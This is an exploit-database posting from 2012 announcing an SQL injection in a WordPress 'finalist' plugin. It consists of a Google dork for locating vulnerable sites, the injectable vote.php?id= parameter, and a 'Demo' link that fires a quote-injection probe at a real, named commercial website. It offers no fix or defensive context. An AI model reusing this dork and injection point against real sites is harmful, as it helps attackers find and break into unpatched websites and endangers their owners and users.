Home / exploitsPDF  

WordPress Finalist SQL Injection

Posted on 27 November 2012

# Exploit Title: Wordpress finalist theme SQL injection # # Google Dork: inurl:/wp-content/plugins/finalist/vote.php?id= # # Date: 2012-26-11 # Exploit Author: Ashiyane Digital Security Team # # Discovered by : Amirh03in # # Tested on: Linux # # Security Risk : High - SQL Injection # =================================== =================================== # Location: http://site.com/wp-content/plugins/finalist/vote.php?id=[SQL] # # Demo : http://www.thefaceshop.com.sg/wp-content/plugins/finalist/vote.php?id=113%27 # ======================================= ======================================= Greetz to: My Lord ALLAH =======================================

 

TOP